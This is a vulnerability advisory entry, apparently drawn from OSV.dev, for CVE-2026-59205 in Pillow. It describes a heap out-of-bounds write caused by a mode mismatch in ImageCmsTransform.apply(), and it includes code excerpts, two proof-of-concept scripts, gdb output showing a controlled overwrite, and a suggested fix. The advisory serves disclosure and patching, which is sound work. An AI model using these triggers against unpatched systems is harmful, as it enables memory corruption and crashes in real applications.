---
schema_version: '1.0'
id: security-20260721-9c81bc
url: https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6
url_hash: 9c81bcf8aa514c768d4128c96f7e95b7e1574bcf3a7783d880ea46cf881d93ee
canonical_url: https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-59205
- GHSA-9hw9-ch79-4vh6
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- pillow
- PyPI
lang: en
published_at: '2026-07-20T23:19:00Z'
fetched_at: '2026-07-21T06:55:47.625643Z'
updated_at: '2026-07-21T06:56:19Z'
status: published
content_hash: 8d0043e117ad6d3f31fae6626523ba73f94e7d20d88685b57703f6d4b96e8034
content_changed_at: null
license_note: full
summary: 'Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()`
  via output mode mismatch'
summary_source: rss
summary_en: 'Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()`
  via output mode mismatch'
entities: []
key_facts: []
related: []
related_auto: []
title: 'CVE-2026-59205: Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()`
  via output mode mismatch'
---

# CVE-2026-59205: Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

## TL;DR
Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

## Key Points
- cve / CVE-2026-59205 / GHSA-9hw9-ch79-4vh6 / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H / pillow / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**Advisory:** GHSA-9hw9-ch79-4vh6 (CVE-2026-59205)

**Affected (your watchlist):**
- `PyPI:pillow` 12.1.1 → fixed in 12.3.0 [docker/docker-llmwiki]
- `PyPI:pillow` 12.2.0 → fixed in 12.3.0 [docker/local+docker/mac]

**Details:**
### Summary

Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.

For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.

### Details

`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller
supplied `imOut`:

```python
def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut
```

If `imOut` is provided, Pillow does not check:

```text
im.mode == self.input_mode
imOut.mode == self.output_mode
```

The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:

```c
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}
```

`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS
`TYPE_RGBA_8`, which writes 4 bytes per pixel:

```c
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;
```

So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`
bytes to each output row. If the supplied output image is mode `L`, Pillow only
allocated `1 * width` bytes for that row.

For width 4096:

```text
destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row
```

The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, `apply()` returned to Python and printed `after`; glibc
detected the corrupted heap later during cleanup.

### PoC

Tiny heap corruption trigger:

```python
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")
```

Observed locally on Pillow `12.3.0.dev0`:

```text
before
after
free(): invalid next size (normal)
Aborted (core dumped)
```

Controlled overwrite evidence PoC:

```python
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)
```

Run under gdb:

```bash
gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py
```

Observed on Pillow `12.3.0.dev0`:

```text
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
```

`0x4443424144434241` is the attacker-controlled source pixel pattern
`b"ABCDABCD"` interpreted as a little-endian pointer-sized value.

Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of
`0x403020104030201`, matching the repeated pixel bytes.

### Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
`ImageCmsTransform.apply()`. The source image pixels influence the bytes written
out of bounds.

## Suggested fix

Validate modes before calling into the native transform:

```python
def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut
```

The C extension should also defensively reject mismatched image modes before
calling `cmsDoTransform()`.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6
- https://nvd.nist.gov/vuln/detail/CVE-2026-59205
- https://github.com/python-pillow/Pillow/pull/9715
- https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721
- https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/12.3.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6_

## Source
元記事: [CVE-2026-59205: Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch](https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6) — published 2026-07-20T23:19:00Z
